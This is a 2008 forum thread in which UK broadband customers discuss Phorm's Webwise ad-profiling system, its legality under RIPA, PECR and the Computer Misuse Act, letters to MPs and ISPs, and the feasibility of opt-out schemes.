Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Blimey 5000 posts. You lot don't half type a lot :tu:

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

It looks like Watchdog (live now) will run an item this evening about people who want to remain ex-directory, but their details still get published in the 'phone book.

Telco's not respecting an individual's right to privacy. "Sorry we made a mistake"?

Might be worth watching for a quote.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

5000 posts on 334 pages. Does this qualify as the longest / most active thread on CF?

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Signed and spread around a few IT literate people I have worked with over the years.

So thats all Ford IT, PCG, Lloyds IT etc I could get in contact with. Its amazing how many contacts I have after working in IT for 25+ years.

Told them to all spread the anti Phorm gosple as well :D

Edit OK so i cant spell ;)

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

In relation to http://www.virginmedia.com/customers/webwise-faqs.php

I found the last paragraph quite amusing...

In the meantime, we'll continue to communicate our intentions openly and transparently. If we go ahead with deployment, we will let all our customers know before rolling out the Webwise solution and will clearly explain how the system works and what it means for them.

I hadn't realised that Webwise was a 'solution' - to what I wonder, VMs bottom line perhaps...

Neither had I realised that VM had been communicating their intentions 'openly and transparently'...

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Anyone a accountant here.

Could someone with there own company offset such against tax?

just wondering ;)

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

You would need to set up the anti-Phorm campaign as a charity, get a registered charity number and then donate.

A company advertising non relevant advertising will struggle with it as a deduction as it is not relevant to the profitablity of the company, in fact it is entirely the opposite. Reducing the profitability.

Business expenses for a company need to be necessary and wholey for the business. The difference from personal expenses is there is no need for exclusivly.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Phorm/Webwise is a solution seeking a) legality and b) a problem to solve.

How about starting to communicate your intentions openly and honestly? You can only continue something once you've started it.

Neil, if you're reading this then here's a suggestion - if I were you I'd sack your PR people, their use of language is poor. Engage with your customers and you'll see there is very little consistency, openness and transparency on Virgin Media's part. You can see it in this thread with different stories being told to customers about Phorm.

Do the right thing Neil - make a clear public statement that is spin free, honest and direct.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Think they have had a lot cancel recently perhaps starting to feel the pinch before they do it.

On tha advertising front if some printed of the flyer that was posted somewhere earlier in this thread. If people printed a few off and took them to local supermarkets asking if they could put it up for a while trying to make people aware of what VM, BT and talktalk were planning. Explain about phorm more with links they could start to check up about it.

Was jsut a thought also if you have a local computer shop I am sure they would place a few around for ppl to collect.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

dephormation gets a plug , and they say they are after more ways to block and deal with this problem....

"Do any New Scientist readers know of other ways of doing that? If you have any suggestions, contact us via this form. If we learn of any useful tricks, we???ll publish the details."



http://www.newscientist.com/blog/tec...ng-on-you.html

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Just found this on the VM newsgroups....


have just been contacted by a Virgin media rep on my mobile - whilst out
shopping so not particularly convenient - he confirmed that Virgin Media
would soon be implementing Phorm (no date given). When I asked if it was to
be opt-in or opt out - he said everybody would be automatically opted in and
he didn't think there was a way to opt out. He also professed no knowledge
of the recent statement from the Information Commissioners office. No time
for a long discussion as I was in the supermarket - but does anyone have any
comments?

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Has the original poster got the name of this rep? Time to start collating a few salient points for when I get a response from Neil Berkett's office. That must, I think include naming VM staff who say things which go against what we have been assured by Neil Berkett and Ian Woodham.

I was assured by NB's office that the BBC were wrong with their recent tech report but VM didn't bother to correct them. Now this - has something changed?

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I just cant get my head around the fact.why would a virgin rep ring a mobile and say that phorm is going live, if you go the the VM Newsgroups you will find it in discussion and feedback....

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I just wonder if they are doing this randomly by 'phone to judge people's reactions. No e-mails or letters to leave any evidence?

Of course, it could just be people telling porkies. Without any verifiable evidence, it does not mean a lot, unfortunately.

When I go through their e-mail complaints system, I always state that they may not contact me by 'phone.

You always see the guff about calls being recorded. Does this mean we can record them?

-------

"Calls may be recorded for training purposes". Can I take that as a statement? i.e. if I'm training myself to be careful in my communications, it's ok to record the call?

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Pete

I hope you don’t mind but I passed on your posting to virginmedia.feedback and asked that if it had been changed, then when.

Alex Brown replied as follows:

Approved the change on Thursday, so it was likely rolled out on
> Friday.

> Alex
> --
>
> Alex Brown
> Senior Product Manager
> Product Management, Virgin Media

So yes it is a recent change – thanks for spotting it.

--John

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

http://www.chiark.greenend.org.uk/pi...il/084640.html
"
Phorm and the Computer Misuse Act...
Nicholas Bohm ukcrypto at chiark.greenend.org.uk
Mon, 28 Apr 2008 15:39:13 +0100
Previous message: Phorm and the Computer Misuse Act...
Next message: Phorm and the Computer Misuse Act...
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
--------------------------------------------------------------------------------
David Biggins wrote:
> Ah,... yes. Provided of course that the system was opt-in.

FIPR and the ICO agree that only an opt-in can provide the requisite
consent under the Privacy and Electronic Communications (EC Directive)
Regulations 2003, and I don't think the Home Office has suggested
otherwise. (See
http://www.opsi.gov.uk/si/si2003/20032426.htm for PECR.)

I doubt if Phorm is happy about this, although no doubt putting a brave
face on it; but I doubt if the ISPs will feel they can ignore it. They
may not yet have taken on board the clear distinction drawn in PECR
between a subscriber and a user, and may be thinking they can make do
with a deemed consent derived from a change to contract terms.

But a deemed consent of this kind isn't the real consent required under
PECR; nor can a subscriber's consent amount to consent by another user
unless the subscriber has first got that other user's consent. So there
are challenges ahead for ISPs even if an opt-in business model works.

> If on the other hand it was opt-out, which seems to be Phorm's
> preference, would that affect the issue of apparent consent? So far,
> only Carphone Warehouse seem to have made any explicit commitment to
> making it opt-in.

Failing to opt-out isn't giving consent; but what a prosecutor or a jury
would make of it under the CMA isn't easy to be sure about.
Nicholas
--
Salkyns, Great Canfield, Takeley,
Bishop's Stortford CM22 6SX, UK
Phone 01279 870285 (+44 1279 870285)
Mobile 07715 419728 (+44 7715 419728)
PGP public key ID: 0x899DD7FF. Fingerprint:
5248 1320 B42E 84FC 1E8B A9E6 0912 AE66 899D D7FF

>> -----Original Message-----
>> From: ukcrypto-admin@chiark.greenend.org.uk
>> [mailto:ukcrypto-admin@chiark.greenend.org.uk] On Behalf Of
>> Nicholas Bohm
>> Sent: 24 April 2008 12:44
>> To: ukcrypto@chiark.greenend.org.uk
>> Subject: Re: Phorm and the Computer Misuse Act...
>>
>> The main obstacle to a CMA prosecution would be apparent user
>> consent, depending on the adequacy of the information given
>> to the user as the basis for the consent.
>>
>> Nicholas

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I may have missed this on here - but there's an interesting point been made on the BT forums:

http://www.beta.bt.com/bta/forums/th...essageID=19483

---------- Post added at 09:22 ---------- Previous post was at 08:46 ----------

Opting out for websites

Following exchange of a number of emails with Emma Sanderson at bt.com I was invited to send her a list of the websites I wished to have excluded. I have just sent her the following reply:


Emma,

I have given your message some considerable thought.

1. I wish my websites to be excluded from profiling by Phorm or any similar organisation used by any ISP - it is therefore pointless just providing BT with URLs as this will not achieve the desired result.
2. The URLs of my websites will not be staying the same - I already have planned one sub-domain change. I am not prepared to have to notify any number of organisations every time a change is made.
3. I am not a BT user. If you were to place my website on a list of opted out websites I would have no way of verifying that this had been done and that it was effective. Likewise I would have no way of verifying a similar opt out for any other ISP utilising a similar system. I would also need to periodically check that the opt out was still effective - I am not prepared to do this.
4. I have placed a notice on the home page of my main website - it is your problem to determine how you will implement systems to observe the conditions of that notice. I will be placing similar notices on my other websites.
5. I will be adding client side code to my website which will detect illegally added or modified cookies. As a minimum this will alert the end user that this has happened and that they have a problem - it will also suggest that their ISP is the most likely cause.

I will therefore not be providing you with a list of URLs to be excluded.

---------- Post added at 09:26 ---------- Previous post was at 09:22 ----------

Ha,

I wonder if the stress of the current situation prompted this?

Still, I cc'd Ben V. - he can deal with it!

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Someone else to write to (on Richard Clayton's recommendation):

Ed Richards
Chief Executive Officer
OFCOM
Riverside House
2a Southwark Bridge Road
London
SE1 9HA

A sample letter is at:
http://www.inphormationdesk.org/Samp...y_Giraffe).pdf
linked from http://www.inphormationdesk.org/sampleletters.htm

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I wonder if this Lords proposal could help stop Phorm, we know they "claim" that they don't get private info, but AOL claimed the same. I'm thinking it could be used against the ISP's.

http://www.theregister.co.uk/2008/04...ata_amendment/

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I had another reply from my MP the other day after I asked him about signing the EDM. He says he can't sign it because EDM's are for backbenchers (which I didn't know) but he will continue to raise his concerns and says "especially as I'm a PPS in BERR, the relevant department" which is a positive thing.

I know what BERR is (The Department for Business, Enterprise & Regulatory Reform) but what does PPS stand for?

---------- Post added at 11:19 ---------- Previous post was at 11:17 ----------

I have noticed that the amount of posts has reduced recently but that's not such a bad thing as having read all of this thread and just about everything else related to Phorm it infiltrated a dream the other night :mad:. And Alexander is partly to blame (sort of). In short I was trying in vain to to tell this guy some facts but he just kept on talking rubbish and I just couldn't get through to him. This guy was a shady character - one of those dodgy auction guys where they won't let you film :erm: - and he was wearing a trilby (like Alexander's spy guy) with Phorm on the front (like a seaside hat) do you get the picture? Not a pleasant dream.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Wikipedia: Parliamentary Private Secretary

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Dream you mean nightmare :P

Ok just posted a rant on ISPreview to the news of BT trying to work without cookies, worrying since the cookies is what will help us know who is compromised on our websites.. Then had a PM from a member about it which made me laugh so going to copy and paste my reply here...

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Excellent, I can't wait for her reply! I totally agree with you. Putting our website URL's onto opt-out lists is not the way to go.

Ali.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Yeah, this is basically taken from Scottish version. It was left out of the England/Wales version as far as I am aware so the House of Lords are trying to get it included.

I thinks that's the case anyway, I touched on it when I was reading up on the Computer Misuse Act which has amendments to Section 3 as a result of Criminal Justice and Immigration Bill which cover similarly "reckless" behaviour.

Alexander Hanff

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

BT Seeking to Drop Phorm Cookies

http://www.ispreview.co.uk/news/EkpAuVukuVwRJunjrr.html

See also: BT to Test Phorm, Search for Cookie Alternatives

Well! Wow! This will really shake things up. Another BIG nail in Phorms coffin me thinks.

Ali :D

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Surely the removal of the cookie based opt-out raises many more questions.

If there is no id reference on the client side then how do they have a unique reference to associate with the anonymous profile? If this reference is stored server side, then it must be associated with the user profile in some way, be it based on IP address or modem mac id. I refuse to believe that they will be unable to make the link between the user and the phorm id, or that they will refrain from doing so.

If there are multiple user accounts on the home pc and no client side identifier then how do they distinguish between different users on the computer? Do this give rise to the risk of wife surfs up a few divorce sites and hubby gets ads for divorce lawyers type scenario? To my mind, they cannot avoid this without a client side reference based on user account. Where are they going to store it? Do browsers have access to the registry? Or rather, does the browser allow external access to the registry?

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Hmmm.... methinks BT are now starting to realise there are some very serious legal concerns here.

That's serious legal concerns Kent and any Phorm PR drones who might be viewing this anonymously, not frivolous.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I have just received no less than 3 emails from the office of my MP Derek Wyatt.

In the first it was explained that he is unable to sign the EDM as he is PPS to The Rt. Hon. Margaret Hodge MP and incumbents of such posts are prohibited from so doing, during their tenure. The rest of the email was to inform me of recent developments about PHORM he was tracking on my behalf one of which was the recent important statement from the Information Commissioner, which he enclosed the link but we are already aware of that.

The second email was about a meeting him and the PHORM CEO which was regrettably cancelled and, instead, he had a conference call with the relevant personnel at the company and he attached a zipped demo from PHORM which I will not unzip.

The final email was to send me these links one of them being the Earl of Northesk's question - the first one - on the second link.

EDM: http://edmi.parliament.uk/EDMi/EDMDe...52&SESSION=891

PQ: http://www.publications.parliament.u...001.htm_spmin0

At least it appears something may be happening as I thought it was getting a little quiet at the moment and with PHORM shares starting to rise again.

After having written 2 letters to the BT Chairman's Office, the first on the 28th March regarding their position with PHORM and the second on the 17th April demanding my MAC because of no response. I then received on Saturday just an acknowledgement from the first letter (4 weeks later), so I sent 2 emails, one to Sir Michael Rake and the other to the administrator to the Chairman from their recent letter as the email link on their letter did not work (great for a communications company with dead email links), demanding an immediate response. The following day I received a call from the BT's Chairman's Office whilst I was out explaining that he was actioning my demand for my MAC so at least one of my emails worked. So it will soon be goodbye to BT.

Colin

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

The cookie based opt-out is a flawed idea from the start because as I understand it, your browsing data still gets profiled/mirrored/processed to some degree by the Phorm system. We only have Phorm's assurances that nothing is done with or to that data.

To my mind there is only one valid and acceptable opt out implementation - a network based one where customers' data goes nowhere near any system such as Phorm.

That's what I've repeatedly pressed for in my correspondence with Virgin Media and would urge all BT, VM and TT customers to press for as well.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Something interesting for you to ponder..

BT have been looking at ways to implement this technology without the use of cookies for several weeks now. For them to say that are still looking at ways to achieve it simply says they haven't found a way yet, and I think I know why.

It can't be done without re-structuring their ADSL infrastructure. Want to take bets on whether they do that?

If the 10,000 random test users can't be identified (by their own admission) how are they going to ever be able to differentiate between an opted-in customer and an opted-out customer without DPI (Deep Packet Inspection) for something that identifies them ? Even if they could achieve this (I can think of one way but it's severely flawed - I'm not going to say it as they'll probably try it or at least use it for spin purposes) how are they going to re-direct the users data-streams accordingly so one goes to the profiler and the other doesn't without breaking RIPA?

I design networks for a living, and whilst I'm not 100% familiar with the DSLAM;s etc, I am very familiar with the IP infrastructure at BT and I say it can't be done without something major changing in BT Retails' network which will cost them more than they would gain from this deal.

Their best bet to get this thing off the ground is to get the law changed to allow them to do it. uk.gov hasn't been saying much recently has it?

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

last night i watched the Dispatches, "The Mobile Phone Rip-Off" and it seems theres is infact a Govt official to champion the business in the EU.

this will tie into the mobile phorming of the new mobile data in the future it seems obvious to me at least...

The government is also singled out by the show, with one section pledging to ‘reveal how the government sided with the mobile networks against the British consumer.’

i cant find the video on the Channel 4 as yet and i didnt look on VOD (i dont use it much if ever...) and you need to see that as the news coverage so far hasnt mentioned the Govt minister part of the show or the EU ministers conmments on that part.....

this Phorm lark could be seen as an even bigger scandle if it turns out as the ISPs want it to happen and there seems to be unnamed as yet people in the Govt that want to help push this through... the same way as the mobile networks scandle, although this time we seem to have slowed its progress before it became widspread for now.

after all, the dispatches also mentions the fact the mobile networks are looking to the new WiMax wireless data charging
for their next even larger cash cow compaired to texting and implys thats why the Govt are pushing the sale of the analogue airwaves to these networks rather than give some back to the TV networks and allow DVB-T more leg room for far more more expansion.

we already know theres work afoot to try and install wireless phorm like system in the Orange mobile stories recently on ElReg, so we need to keep a very close eye on all this inter-related forward movement in the UK industry for a few months and years yet...

http://www.channel4.com/news/article...ripoff/2081247
"
Dispatches uncovers secrets about the mobile industry they would rather consumers not know.

The Mobile Phone Rip-Off

Business is booming for the mobile phone industry - the 66 million mobile phones in use in Britain outnumber the population by 10 million and netted profits of more than £13 billion last year.

But as profits soar, so have consumer complaints - reaching record levels and making it one of the most complained-about industries."
...
"Barnett reveals how the influence of the networks reaches beyond the high street - stretching to the heart of government.

Confidential documents, first-hand testimony and emails reveal how the networks have launched powerful lobbying campaigns, securing the support of the government which has sided with the industry over some of the more exorbitant costs imposed on customers."

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Eek. I don't blame you for refusing to unzip that attachment. I wouldn't unzip any attachment that originated from Phorm either. In fact, if it weren't for the involvement of Simon Davies, I wouldn't touch the "professionally" recorded video footage either.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

totally agree with you on this infact no phorm at all would make it so we knew we were not being sneaked onto the phorm network my trust in the large companies has made me move to a smaller ISP..

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Actually it is perfectly feasible for people who want to be involved in the Phorm "system" to have a flag added to their user account details which will allow them to be assigned IPs from specific blocks of IPs which are routed through Phorm. If the flag is not set (it should be disabled by default) then the customer gets assigned an IP from the non Phorm blocks and routed directly to the Internet without going near Phorm's kit.

It is trivial in many respects, needs an alteration to a database table and trivial changes to some config files. It would keep all non conphormists away from the Phorm kit.

Of course it would still not be legal because they are still required under RIPA to get consent from all parties regarding interception, then there is the Fraud Act, PECR, Computer Misuse Act, Copyright, Designs and Patents Act and Torts (Interference with Goods) Act on top of all that which all require consent as well.

So they may be able to fix the legal issues from the perspective of the ISPs customers, but I fail to see any way they can navigate the legal obstacles from the perspective of the rights of content owners.

Oh and :welcome:

Alexander Hanff

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I you are who I think you might be, we all owe you a considerable debt of gratitude.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Well seems I need a little help on ISPreview guys to make more aware of the pitfalls of phorm.
News post just up http://www.ispreview.co.uk/news/EkpAuZEZZEVlsbyeKD.html

Need links to the video posting and might be worth plugging Alexanders hard work for thjose who are good readers.. I can't post links to this thread on ISPreview since Mark classes that as directing members away from ISPreview and in this case I think we need a presence on ISPreview also.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I wonder if the "cookieless" system will just be for the opt-in opt-out aspect only. Having read the description of how the Phorm system works I can't see how they could remove the cookies containing the UIDs without a very, very significant redesign of the whole system.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I will copy and paste this onto ISPreview since it brings into play the point that any alterations to what phormn planned could be to costly so it looks like thye will try to force a law change which will be another step into the dark for the public of UK and our freedom of speach, action and choice...

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Yes it would be for non opt in customers only. If customers have given their illphormed consent then there are no issues with the customer with regards the cookies. There are still issues under RIPA, PECR, CMA, FA, CDPA etc. as I mentioned above.

Alexander Hanff

---------- Post added at 13:56 ---------- Previous post was at 13:50 ----------

A law change is not a good idea either. It will alienate the public and privacy groups as well as political representatives/bodies in the EU and UK. It is likely the House of Lords would try to delay the process as long as possible too, and they would need to unratify (if that is even possible?) several EU Regulations/Directives and Conventions or they would most certainly be open to action from the European Commission and the European Court of Human Rights/European Court of Justice.

The timeframe for legislative changes would be significant and BT etc. need to roll this out as soon as possible before someone does come up with a competing "legal" (or less illegal) model and Phorm+Investors+Partners end up with egg on their face and an unsellable product.

Alexander Hanff

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I wonder if the opt-in will make sure the user is able to make a fully informed consent? As in:

"I wish to break the law by inciting BT/Phorm to intercept communications between my browser and a website when I visit a website where the owner has explicitly prohibited such interception".

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I agree Alexander need the link to your paper again please and a link tothe video of the public meeting to post on ISPreview, trying to get more publicity it seems to die quick on there

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

See my previous posts on complicity.

But I agree, it is unlikely that people will be made aware of "why" they have to give informed consent and the possible "consequences" of doing so. If they were then an Opt-In system would only attract a fraction of a percent of users and would die instantly as a product.

Alexander Hanff

---------- Post added at 14:07 ---------- Previous post was at 14:06 ----------

Hold off on the paper link for now, I finally got some urgent work out of the way today so I have a chance tonight to finish the paper and plan to do so.

The videos are on http://tobymeres.net/

Don't forget BBC "Click" Saturday and Sunday morning this weekend 11:30 on BBC News 24. (Should be available on iPlayer Friday night I believe)

Alexander Hanff

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

One thing that does slightly worry me regarding a change of law is that campaigners are already calling for RIPA to be changed with regard to the issue of Local Councils using RIPA to use surveillance in matters such as littering and dog fouling etc etc

Call me cynical but I wouldn't be surprised if in some future revision of RIPA the government were to slip in some Phorm/NebuAd friendly provision or they might just tag on an amendment to some piece of obscure, unrelated legislation that is already going through second reading. They have done it before and I wouldn't be surprised by ANYTHING this government does these days.

---------- Post added at 14:12 ---------- Previous post was at 14:10 ----------

Oh and I am still waiting for any response from my MP, Liberty, Computer Crime Unit of Met Police and the Chartered Institute of Library and Information Professionals.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

My brain is so hard-wired that I often overlook software solutions! Thanks for pointing this out.

Which will ultimately be their downfall.

Thanks :D

Thankyou. I'm trying to keep a low profile these days as I've already lost one job, so everything I post from now on is purely my personal opinion. I doubt Ben is reading these forums, but I'm pretty sure I know a few fellows at BT who will be :dozey: All that's gone by-the-by now anyway what with BT being found with their hand in over 30,000 cookie jars (sorry that was an awful pun :dunce: )

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

It is not that easy in this case. The Right to Privacy is an inalienable right afforded to us under multiple European laws/directives and conventions, most of which are currently ratified in the UK. To suddenly change British law in such a way would at least cause problems in official EU circles, or at least that is my belief.

Alexander Hanff

---------- Post added at 14:21 ---------- Previous post was at 14:15 ----------

I should just correct you there for a moment, latest reports put the figure at around 128 000 (108 000 in 2006 and 20 000 in 2007), McVitees must love it.

I know where you are coming from regarding the job, I lost a job after appearing on BBC's Newsnight a couple of years back simply for offering my opinion on a judgement in the US Supreme Court (completely unrelated to my work).

However (and without meaning to sound insensitive) some things are so important that the prospect of losing your job over moral and ethical decisions is worth it, and I respect anyone who puts their ethics ahead of their employment prospects.

Alexander Hanff

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Agreed but that hasn't stopped them in the past. How many times has HMG (particularly the home office) been taken to court and lost? Its got to be double figures. Control Orders and immigration issues being two of the most prominent that I can recall.

I really hope you are right Alexander. As I said, I wouldn't put anything past this government and the lack of the Police and Home Office acting on the past contraventions of RIPA hardly inspire confidence.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

I have thought about this before and wondered if they would try to pass the responsibility of fully informing the user of the interception and profiling down to the account holder (customer). Not sure if they could get around the laws like this but it would require them to sign people up to the Phorm service [sic] specifically with its own T&C's in which case they'll not get many if any people doing so.

An unusual 'provider, customer, user' relationship is seen when connecting up to some hotspots where you are redirected when you first connect because at that stage you are not a customer of that provider but you are a user.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

BetBlowWhistler, now I realise who you are, may I say a heartfelt thank you for what you have done. It reassures me that there are still people out there who put their principles above profit and take a stand for what is right.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Naaah they can't do that, because the customer is not making the interception, only inciting BT to do it, BT would still be the party guilty of any interception charges. This is outlined in the response I got from Nicholas Bohm which I will post below for clarification:

In other words, in theory customers who opt-in are likely to be accountable for inciting BT and conspiracy, should they initiate a communication with a web site which denies consent for interception; but in reality it is unlikely a customer would end up being prosecuted and even if they did, it would not remove liability from BT under RIPA.

Alexander Hanff

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Stop already, you're making me blush. And my wife didn't exactly share my principles which caused a few ructions I can tell you!

Come to think of it, I can name a few other people who didn't take too kindly to my high-handed approach either, and it certainly didn't stop them sending a heavy round for my laptop whilst I was off sick (stress related nervous break-down which, thankfully, I'm now recovered from).

I'd actually like to take this opportunity to thank some of the people at BT who supported me and my actions - you know who you are. Not everyone at BT is cozying up to Ken, in fact this whole thing came as a very big surprise to everyone since BT Retail went and did the network design and implementation without bothering to use the BT design team or get any of the recognised security professionals involved (if they're reaction was anything to go by at the time).

Still, better job, better prospects, better pay (worse travel but something's gotta give) so I'm not feeling overly hard done by :cool:

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

128000? That's a lot of Jaffa Cakes! I don't think I could imagine 128000 Jaffa Cakes, never mind 128000 jars of Jaffa Cakes! I feel a trip to Waitrose to do some investigative math coming on...

Joking aside, I too respect those who put their principles ahead of job prospects.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

"BT Retail went and did the network design and implementation without bothering to use the BT design team or get any of the recognised security professionals involved "

which seems to imply they already know what the illlegal stance was as they didnt want to include inhouse employees for legal reasons later perhaps!

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

OMG they did know it was illegal if they didn't use the inhouse team then again they perhaps had their greasy paws lined by a snake in the grass, who wants all the customers UK pc's signed sealed and delivered into his spyware/adware world... MPO ofcourse which if I am right and I am sure Aleaxander will fight in my corner is my legal right to have an opinion.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

dont forget , its far more jafa cakes that that though...., you need to include potentially every single webpage a conscripted Phorm user opened over the whole timeframes x that 128000 jafa cake packets ;)

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Tempting though it is to agree with you, BT Retail has always been a bit of a law unto iteself regarding design. It's only been in the last year or so that the e2e design team have taken over from all other areas, but there are still little 'in-house' design teams dotted around (although there shouldn't be as this situation has proved).

The original design of the test *could* have pre-dated the carte-blanche approach to designs going through the e2e team. Mind you, if it had then the issues would have been raised in-house and no-one would have gone to the press with their 'fait-accompli'. They [BT Retail] get 10/10 for being underhanded imho.

No, my bigger concern was that the security community seemed a bit taken aback when the news first broke on the register, and a comment was made in The Reg's article about the reaction of the security team. There then immediately followed a posting on the BT Security mailing list about the comment and a very heavy sounding 'anyone found commenting on BT internal stuff will be investigated and stuffed' email.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Looks like they've got "guilty" written all over them..Have you reported them officially to the relevant authorities?

Or better still the newspapers?

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

And what exactly would I report? This is just my opinion remember and I don't think that's admissable in a court of law :)

Going to the press has already gotten me into bother (not so much the job but my health did suffer as a result) so I'm just another interested consumer now (although I do have my MAC code). I just happen to have a lot of anecdotal information relating to how BT works in practice.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

The same was also true a few years back about rights to protest, now if you enter London with the idea of a peacful demonstration you are required by law to gain a permit to do so.
Even beter yet you can get locked up under terrorist legislation and held (90days if Gordie Brown has his way) without trial.
Dont even get me started about freedom of speech.

Societies basic civil liberties have become so erroded since 911 that nothing a government body does any more surprises me.

I can see this government positively frothing at the mouth over the prospect of having yet another method of control over the populace, a quick edit to RIPA and a nice handshake with Phorm would allow the government to use the system to "profile terror suspects."

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Alexander, the link to tobymeres.net is setting off a trojan alert on 'kaspersky internet security 7' , it seems quite convinced the link is trying to download a trojan, can anyone else who's clicked the link verify whether its just a false alarm or not ?...

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Nod32 saying its clean

hth

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

It doesn't fire off anything here but I am in Linux, have flash blocked and don't have problems which require anti-virus software. Maybe someone on Windows can confirm.

Alexander Hanff

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

Adam Liversage was the guy who was supposed to be answering questions over on BT beta forums, then both the relevant threads were locked, the answers stopped coming a few weeks ago, and we never heard from him again. Now he talks to the press as usual before informing customers. This is standard BT behaviour - anything major - its always a press release, and the customers always find out 3rd hand when someone spots the press release.

But it's good to see the inevitable beginning to happen. Great news.

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

On a side note, us patent 20080010117 looks interesting..if kent and his kreatures grease this one through, we can point this other mob's lawyers at them and fight fire with fire, or in this case weasel with weasel!:D

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

its fine, the video's were put there as it has far more bandwidth to cope with demand thats all, i dont know why you might be getting the false positive but thats what it is....

Re: Virgin Media Phorm Webwise Adverts [Updated: See Post No. 1, 77, 102 & 797]
 

And a big thank-you from me, as a BT customer who has spent years trying to get blood out of the BT management stone, and occasionally drawing the odd drop or two.

